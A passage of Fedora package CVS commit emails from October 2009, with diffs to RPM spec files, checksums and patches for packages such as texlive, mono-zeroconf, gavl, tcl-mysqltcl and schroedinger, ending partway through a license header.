@@ -341,6 +348,10 @@ rm -f texmf/web2c/{mktex.opt,mktexdir,mk
 # these files owned by binary texlive-dvips package
 rm -rf texmf/dvips/base
 
+# these files owned by tetex-perltex package
+rm -rf texmf-dist/tex/latex/perltex/
+rm -rf texmf-dist/doc/latex/perltex/
+
 # remove ttf2pk stuff from bin-ttfutils
 rm -f texmf/doc/man/man1/ttf2pk.1
 rm -rf texmf/doc/ttf2pk/
@@ -831,6 +842,11 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Mon Oct 26 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2007-32
+- resolve conflict between texlive-texmf (and -doc) and tetex-perltex
+- resolve conflict between texlive-texmf and tetex-prosper
+- resolve conflict between texlive-texmf and tetex-perltex
+
 * Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
 - do not conflict with dvipdfm
 - update perl requires filter



From hadess at fedoraproject.org  Tue Oct 27 22:50:52 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 22:50:52 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/devel .cvsignore, 1.34, 1.35 sources,
	1.35, 1.36
Message-ID: <20091027225052.5B7F511C02BB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16725

Modified Files:
	.cvsignore sources 
Log Message:
update sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/devel/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	22 Sep 2009 00:45:46 -0000	1.34
+++ .cvsignore	27 Oct 2009 22:50:52 -0000	1.35
@@ -1 +1 @@
-gnome-settings-daemon-2.28.0.tar.bz2
+gnome-settings-daemon-2.28.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/devel/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	22 Sep 2009 00:45:47 -0000	1.35
+++ sources	27 Oct 2009 22:50:52 -0000	1.36
@@ -1 +1 @@
-66c4e3651cb0e022b114d30ac217b095  gnome-settings-daemon-2.28.0.tar.bz2
+cadb2e161846c4df76fec45679db1f50  gnome-settings-daemon-2.28.1.tar.bz2



From kkofler at fedoraproject.org  Tue Oct 27 22:54:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Tue, 27 Oct 2009 22:54:16 +0000 (UTC)
Subject: rpms/kmagnet/F-10 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 109111-kmagnet-0.03.tar.bz2, 1.1, NONE
Message-ID: <20091027225416.8C4FD11C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kmagnet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18293/F-10

Modified Files:
	.cvsignore sources 
Removed Files:
	109111-kmagnet-0.03.tar.bz2 
Log Message:
Remove binary files from CVS. Use sources properly as intended instead. Please RTFM on the lookaside cache (see make upload, make new-sources) and don't cvs add SRPMs! 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Oct 2009 20:52:20 -0000	1.2
+++ .cvsignore	27 Oct 2009 22:54:15 -0000	1.3
@@ -1 +1 @@
-kmagnet-0.03-5.fc13.src.rpm
+109111-kmagnet-0.03.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Oct 2009 20:52:20 -0000	1.2
+++ sources	27 Oct 2009 22:54:16 -0000	1.3
@@ -1 +1 @@
-23d0d2fe4a75d2fd45692d3c34a9dfa3  kmagnet-0.03-5.fc13.src.rpm
+1e996f149ea0a9fe11c73191a582088b  109111-kmagnet-0.03.tar.bz2


--- 109111-kmagnet-0.03.tar.bz2 DELETED ---



From kkofler at fedoraproject.org  Tue Oct 27 22:54:17 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Tue, 27 Oct 2009 22:54:17 +0000 (UTC)
Subject: rpms/kmagnet/F-11 .cvsignore, 1.1, 1.2 sources, 1.1,
	1.2 109111-kmagnet-0.03.tar.bz2, 1.1,
	NONE kmagnet-0.03-5.fc13.src.rpm, 1.1, NONE
Message-ID: <20091027225417.3E4CB11C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kmagnet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18293/F-11

Modified Files:
	.cvsignore sources 
Removed Files:
	109111-kmagnet-0.03.tar.bz2 kmagnet-0.03-5.fc13.src.rpm 
Log Message:
Remove binary files from CVS. Use sources properly as intended instead. Please RTFM on the lookaside cache (see make upload, make new-sources) and don't cvs add SRPMs! 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:03 -0000	1.1
+++ .cvsignore	27 Oct 2009 22:54:16 -0000	1.2
@@ -0,0 +1 @@
+109111-kmagnet-0.03.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:03 -0000	1.1
+++ sources	27 Oct 2009 22:54:17 -0000	1.2
@@ -0,0 +1 @@
+1e996f149ea0a9fe11c73191a582088b  109111-kmagnet-0.03.tar.bz2


--- 109111-kmagnet-0.03.tar.bz2 DELETED ---


--- kmagnet-0.03-5.fc13.src.rpm DELETED ---



From kkofler at fedoraproject.org  Tue Oct 27 22:54:17 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Tue, 27 Oct 2009 22:54:17 +0000 (UTC)
Subject: rpms/kmagnet/F-12 .cvsignore, 1.1, 1.2 sources, 1.1,
	1.2 109111-kmagnet-0.03.tar.bz2, 1.1,
	NONE kmagnet-0.03-5.fc13.src.rpm, 1.1, NONE
Message-ID: <20091027225417.E299311C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kmagnet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18293/F-12

Modified Files:
	.cvsignore sources 
Removed Files:
	109111-kmagnet-0.03.tar.bz2 kmagnet-0.03-5.fc13.src.rpm 
Log Message:
Remove binary files from CVS. Use sources properly as intended instead. Please RTFM on the lookaside cache (see make upload, make new-sources) and don't cvs add SRPMs! 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:03 -0000	1.1
+++ .cvsignore	27 Oct 2009 22:54:17 -0000	1.2
@@ -0,0 +1 @@
+109111-kmagnet-0.03.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:03 -0000	1.1
+++ sources	27 Oct 2009 22:54:17 -0000	1.2
@@ -0,0 +1 @@
+1e996f149ea0a9fe11c73191a582088b  109111-kmagnet-0.03.tar.bz2


--- 109111-kmagnet-0.03.tar.bz2 DELETED ---


--- kmagnet-0.03-5.fc13.src.rpm DELETED ---



From salimma at fedoraproject.org  Tue Oct 27 23:04:02 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Tue, 27 Oct 2009 23:04:02 +0000 (UTC)
Subject: rpms/mono-zeroconf/F-12 .cvsignore, 1.4, 1.5 mono-zeroconf.spec,
	1.15, 1.16 sources, 1.4, 1.5
Message-ID: <20091027230402.E2BE411C00E6@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/mono-zeroconf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21081

Modified Files:
	.cvsignore mono-zeroconf.spec sources 
Log Message:
Update F-12's mono-zeroconf to 0.9.0. Not fixing bundled ndesk-dbus yet
until both upstreams agree on merging changes.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 17:41:05 -0000	1.4
+++ .cvsignore	27 Oct 2009 23:04:01 -0000	1.5
@@ -1 +1 @@
-mono-zeroconf-0.7.6.tar.bz2
+mono-zeroconf-0.9.0.tar.bz2


Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/F-12/mono-zeroconf.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- mono-zeroconf.spec	26 Oct 2009 19:34:10 -0000	1.15
+++ mono-zeroconf.spec	27 Oct 2009 23:04:01 -0000	1.16
@@ -1,39 +1,40 @@
 %define         debug_package %{nil}
 
 Name:           mono-zeroconf
-Version:        0.7.6
-Release:        11%{?dist}
-Summary:        Mono-zeroconf namespace
+Version:        0.9.0
+Release:        2%{?dist}
+Summary:        Mono.Zeroconf networking library
 Group:          Development/Languages
 License:        MIT
 URL:            http://banshee-project.org/files/mono-zeroconf
 Source0:        %{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-devel >= 2.2, avahi-sharp, monodoc-devel, mono-web-devel
-Requires: 	monodoc mono-web
+BuildRequires:  mono-devel monodoc-devel
+Requires:       mono-core
 
-ExcludeArch: sparc64
+ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
 
 %description
 Mono.Zeroconf is a cross platform Zero Configuration Networking library
 for Mono and .NET.
 
 %package devel
-Summary: .pc file for mono zeroconf
-Group: Documentation
-Requires: %{name} = %{version}-%{release} pkgconfig
+Summary: Development files for Mono.Zeroconf
+Group:   Development/Languages
+Requires: %{name} = %{version}-%{release} pkgconfig monodoc
 
 %description devel
-Development file for mono zeroconf
+Development files and documentation for Mono.Zeroconf
 
 %prep
 %setup -q
-# sed magic...
+# https://bugzilla.novell.com/show_bug.cgi?id=549163
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure.ac
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure
 
 %build
-%configure
+%configure --disable-mdnsresponder
+#parallel build doesn't work
 make
 
 %install
@@ -50,16 +51,19 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/mono-zeroconf/
 %{_libdir}/mono/gac/Mono.Zeroconf
 %{_libdir}/mono/mono-zeroconf
-%{_libdir}/monodoc/sources/mono-zeroconf*
-%{_libdir}/mono/gac/policy.1.0.Mono.Zeroconf/
-%{_libdir}/mono/gac/policy.2.0.Mono.Zeroconf/
+%{_libdir}/mono/gac/policy.*
 
 %files devel
 %{_libdir}/pkgconfig/mono-zeroconf.pc
+%{_libdir}/monodoc/sources/mono-zeroconf*
 
 %changelog
-* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.7.6-11
-- ExcludeArch sparc64
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
+- Make AvahiDbus the only provider for now
+
+* Thu Oct 22 2009 Paul Lange <palango at gmx.de> - 0.9-1
+- update to version 0.9
+- move docs into devel package
 
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.7.6-10
 - Rebuild for ppc64 packages due to obsolete of packageset last time.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 17:41:05 -0000	1.4
+++ sources	27 Oct 2009 23:04:01 -0000	1.5
@@ -1 +1 @@
-7c7c841d6e10ad803bb879511ab9747b  mono-zeroconf-0.7.6.tar.bz2
+cb25d50898442a7766c324dcb52ef9bf  mono-zeroconf-0.9.0.tar.bz2



From kwizart at fedoraproject.org  Tue Oct 27 23:08:18 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 27 Oct 2009 23:08:18 +0000 (UTC)
Subject: rpms/gavl/devel gavl-1.1.1-system_libgdither.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 gavl.spec, 1.2, 1.3 import.log, 1.1,
	1.2 sources, 1.2, 1.3 gavl-1.1.0-system_libgdither.patch, 1.1, NONE
Message-ID: <20091027230818.76FC411C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/gavl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23166/devel

Modified Files:
	.cvsignore gavl.spec import.log sources 
Added Files:
	gavl-1.1.1-system_libgdither.patch 
Removed Files:
	gavl-1.1.0-system_libgdither.patch 
Log Message:
Update to 1.1.1


gavl-1.1.1-system_libgdither.patch:
 configure.ac     |   21 +++++++++++++++++++++
 gavl/Makefile.am |   11 +++++++++--
 2 files changed, 30 insertions(+), 2 deletions(-)

--- NEW FILE gavl-1.1.1-system_libgdither.patch ---
diff -up gavl-1.1.1/configure.ac.gdither gavl-1.1.1/configure.ac
--- gavl-1.1.1/configure.ac.gdither	2009-07-13 22:42:38.000000000 +0200
+++ gavl-1.1.1/configure.ac	2009-10-28 00:02:31.461428785 +0100
@@ -217,6 +217,27 @@ TOP_SRCDIR=`cd ${srcdir} && pwd` 
 AC_SUBST(TOP_SRCDIR)
 
 dnl
+dnl System libraries
+dnl
+
+AC_ARG_ENABLE(libgdither,
+  [  --enable-libgdither	System libgdither (experimental)])
+if test "${enable_libgdither}" = "yes"
+then
+  PKG_CHECK_MODULES(LIBGDITHER, libgdither,
+    [
+      AC_DEFINE(HAVE_LIBGDITHER, 1, [Define to 1 if you have the `libgdither' library (-lgdither).])
+      have_libgdither="true"
+    ],
+    [
+      have_libgdither="false"
+    ]
+  )
+fi
+AM_CONDITIONAL(HAVE_LIBGDITHER, [test x$have_libgdither = xtrue])
+
+
+dnl
 dnl Output variables
 dnl
 
diff -up gavl-1.1.1/gavl/Makefile.am.gdither gavl-1.1.1/gavl/Makefile.am
--- gavl-1.1.1/gavl/Makefile.am.gdither	2009-05-13 17:10:37.000000000 +0200
+++ gavl-1.1.1/gavl/Makefile.am	2009-10-28 00:04:37.837435280 +0100
@@ -40,8 +40,15 @@ threednow_libs = 
 threednow_subdirs =
 endif
 
+if HAVE_LIBGDITHER
+  MAYBE_LIBGDITHER_LA = @LIBGDITHER_LIBS@
+else
+  MAYBE_LIBGDITHER = libgdither
+  MAYBE_LIBGDITHER_LA = libgdither/libgdither.la
+endif
+
 
-SUBDIRS = hq c libgdither libsamplerate $(mmx_subdirs) \
+SUBDIRS = hq c $(MAYBE_LIBGDITHER) libsamplerate $(mmx_subdirs) \
 $(sse_subdirs) \
 $(sse2_subdirs) \
 $(sse3_subdirs) \
@@ -109,7 +116,7 @@ $(sse3_libs) \
 $(threednow_libs) \
 c/libgavl_c.la \
 hq/libgavl_hq.la \
-libgdither/libgdither.la \
+$(MAYBE_LIBGDITHER_LA) \
 libsamplerate/libsamplerate.la \
 @LIBGAVL_LIBS@ \
 -lm


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gavl/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Apr 2009 10:49:10 -0000	1.2
+++ .cvsignore	27 Oct 2009 23:08:17 -0000	1.3
@@ -1 +1 @@
-gavl-1.1.0.tar.gz
+gavl-1.1.1.tar.gz


Index: gavl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gavl/devel/gavl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gavl.spec	24 Jul 2009 23:32:40 -0000	1.2
+++ gavl.spec	27 Oct 2009 23:08:17 -0000	1.3
@@ -1,13 +1,13 @@
 Name:           gavl
-Version:        1.1.0
-Release:        2%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A library for handling uncompressed audio and video data
 
 Group:          System Environment/Libraries
 License:        GPLv3+
 URL:            http://gmerlin.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/gmerlin/gavl-%{version}.tar.gz
-Patch1:         gavl-1.1.0-system_libgdither.patch
+Patch1:         gavl-1.1.1-system_libgdither.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libtool
@@ -55,6 +55,7 @@ sed -i -i 's/LQT_OPT_CFLAGS/dnl LQT_OPT_
 sh autogen.sh
 
 
+
 %build
 %configure \
   --enable-debug \


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/gavl/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	8 Apr 2009 10:49:10 -0000	1.1
+++ import.log	27 Oct 2009 23:08:18 -0000	1.2
@@ -1 +1,2 @@
 gavl-1_1_0-1_fc10:HEAD:gavl-1.1.0-1.fc10.src.rpm:1239187747
+gavl-1_1_1-1_fc11:HEAD:gavl-1.1.1-1.fc11.src.rpm:1256684797


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gavl/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Apr 2009 10:49:10 -0000	1.2
+++ sources	27 Oct 2009 23:08:18 -0000	1.3
@@ -1 +1 @@
-8a631a3468f4fd4213c4ec57d1795e14  gavl-1.1.0.tar.gz
+dc37718ab20ed6728eb9e10d5bb3ad17  gavl-1.1.1.tar.gz


--- gavl-1.1.0-system_libgdither.patch DELETED ---



From kwizart at fedoraproject.org  Tue Oct 27 23:09:30 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 27 Oct 2009 23:09:30 +0000 (UTC)
Subject: rpms/gavl/devel gavl.spec,1.3,1.4
Message-ID: <20091027230930.793A611C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/gavl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24430

Modified Files:
	gavl.spec 
Log Message:
Update changelog



Index: gavl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gavl/devel/gavl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gavl.spec	27 Oct 2009 23:08:17 -0000	1.3
+++ gavl.spec	27 Oct 2009 23:09:30 -0000	1.4
@@ -100,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 kwizart < kwizart at gmail.com > - 1.1.1-1
+- Update to 1.1.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From renep at fedoraproject.org  Tue Oct 27 23:11:14 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:11:14 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.5, 1.6 tcl-mysqltcl.spec, 1.5,
	1.6
Message-ID: <20091027231114.8441011C02C6@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24998/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
update spec file for EL-4 and EL-5


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	8 Oct 2009 19:28:26 -0000	1.5
+++ import.log	27 Oct 2009 23:11:13 -0000	1.6
@@ -3,3 +3,4 @@ tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
 tcl-mysqltcl-3_05-6_fc11:HEAD:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255030083
+tcl-mysqltcl-3_05-7_fc11:HEAD:tcl-mysqltcl-3.05-7.fc11.src.rpm:1256685015


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- tcl-mysqltcl.spec	8 Oct 2009 19:28:26 -0000	1.5
+++ tcl-mysqltcl.spec	27 Oct 2009 23:11:13 -0000	1.6
@@ -10,7 +10,7 @@
 
 %bcond_without abi
 
-%{!?tcl_version: %define tcl_version 8.5}
+%{!?tcl_version: %define tcl_version %(echo 'puts $tcl_version' | tclsh)}
 %{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}
 
 %define real_name mysqltcl
@@ -18,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        6%{?dist}
+Release:        7%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
+- fix tcl version on EL-4 and EL-5
+
 * Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
 - synchronize the spec file version for all branches
 



From stransky at fedoraproject.org  Tue Oct 27 23:14:12 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Tue, 27 Oct 2009 23:14:12 +0000 (UTC)
Subject: rpms/perl-Gtk2-MozEmbed/F-11 perl-Gtk2-MozEmbed.spec,1.8,1.9
Message-ID: <20091027231412.86CFF11C00E6@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26329

Modified Files:
	perl-Gtk2-MozEmbed.spec 
Log Message:
Requires check


Index: perl-Gtk2-MozEmbed.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-11/perl-Gtk2-MozEmbed.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-Gtk2-MozEmbed.spec	27 Oct 2009 15:16:03 -0000	1.8
+++ perl-Gtk2-MozEmbed.spec	27 Oct 2009 23:14:12 -0000	1.9
@@ -28,7 +28,7 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 BuildRequires: perl(ExtUtils::MakeMaker)
 BuildRequires: perl(ExtUtils::Depends) >= 0.20
 BuildRequires: perl(ExtUtils::PkgConfig) >= 1.03
-BuildRequires: perl(Glib) >= 1.180
+BuildRequires: perl-Glib-devel >= 1.180
 BuildRequires: perl(Gtk2) >= 1.081
 BuildRequires: gtk2-devel
 BuildRequires: xulrunner-devel-unstable = %{gecko_version}



From renep at fedoraproject.org  Tue Oct 27 23:21:27 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:21:27 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.6, 1.7 tcl-mysqltcl.spec, 1.6,
	1.7
Message-ID: <20091027232127.3714311C029B@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29325/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
split EL-4 and EL-5 spec files versions from Fedora versions


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	27 Oct 2009 23:11:13 -0000	1.6
+++ import.log	27 Oct 2009 23:21:26 -0000	1.7
@@ -4,3 +4,4 @@ tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
 tcl-mysqltcl-3_05-6_fc11:HEAD:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255030083
 tcl-mysqltcl-3_05-7_fc11:HEAD:tcl-mysqltcl-3.05-7.fc11.src.rpm:1256685015
+tcl-mysqltcl-3_05-8_fc11:HEAD:tcl-mysqltcl-3.05-8.fc11.src.rpm:1256685650


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- tcl-mysqltcl.spec	27 Oct 2009 23:11:13 -0000	1.6
+++ tcl-mysqltcl.spec	27 Oct 2009 23:21:26 -0000	1.7
@@ -1,16 +1,6 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
-
 %bcond_without abi
 
-%{!?tcl_version: %define tcl_version %(echo 'puts $tcl_version' | tclsh)}
+%{!?tcl_version: %define tcl_version 8.5}
 %{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}
 
 %define real_name mysqltcl
@@ -18,7 +8,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        7%{?dist}
+Release:        8%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +61,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-8
+- split spec file versions for EL-4 and EL-5 from those of Fedora
+
 * Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
 - fix tcl version on EL-4 and EL-5
 



From kwizart at fedoraproject.org  Tue Oct 27 23:24:10 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 27 Oct 2009 23:24:10 +0000 (UTC)
Subject: rpms/schroedinger/devel gst-plugins-schroedinger-1.0.8.patch, NONE, 
	1.1 gst-plugins-schroedinger-plug.patch, NONE, 1.1 import.log,
	NONE, 1.1 schroedinger.spec, 1.17, 1.18
Message-ID: <20091027232410.3612C11C029B@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28777/devel

Modified Files:
	schroedinger.spec 
Added Files:
	gst-plugins-schroedinger-1.0.8.patch 
	gst-plugins-schroedinger-plug.patch import.log 
Log Message:
- Re-introduce gstreamer sub-package until seen in -good


gst-plugins-schroedinger-1.0.8.patch:
 gst-libs/gst/video/Makefile.am           |   24 
 gst-libs/gst/video/gstbasevideocodec.c   |  565 ++++++++++++++
 gst-libs/gst/video/gstbasevideocodec.h   |  150 +++
 gst-libs/gst/video/gstbasevideodecoder.c | 1223 +++++++++++++++++++++++++++++++
 gst-libs/gst/video/gstbasevideodecoder.h |  163 ++++
 gst-libs/gst/video/gstbasevideoencoder.c |  521 +++++++++++++
 gst-libs/gst/video/gstbasevideoencoder.h |  123 +++
 gst-libs/gst/video/gstbasevideoparse.c   |  871 ++++++++++++++++++++++
 gst-libs/gst/video/gstbasevideoparse.h   |  141 +++
 gst-libs/gst/video/gstbasevideoutils.c   |  163 ++++
 gst-libs/gst/video/gstbasevideoutils.h   |   95 ++
 gst/Makefile.am                          |   27 
 gst/gstschro.c                           |   54 +
 gst/gstschrodec.c                        |  728 ++++++++++++++++++
 gst/gstschroenc.c                        |  791 ++++++++++++++++++++
 gst/gstschroparse.c                      |  610 +++++++++++++++
 gst/gstschroutils.c                      |  149 +++
 gst/gstschroutils.h                      |   34 
 18 files changed, 6432 insertions(+)

--- NEW FILE gst-plugins-schroedinger-1.0.8.patch ---
diff -uNr schroedinger-1.0.8.orig/gst/gstschro.c schroedinger-1.0.8/gst/gstschro.c
--- schroedinger-1.0.8.orig/gst/gstschro.c	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst/gstschro.c	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,54 @@
+/* GStreamer
+ * Copyright (C) 2005 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
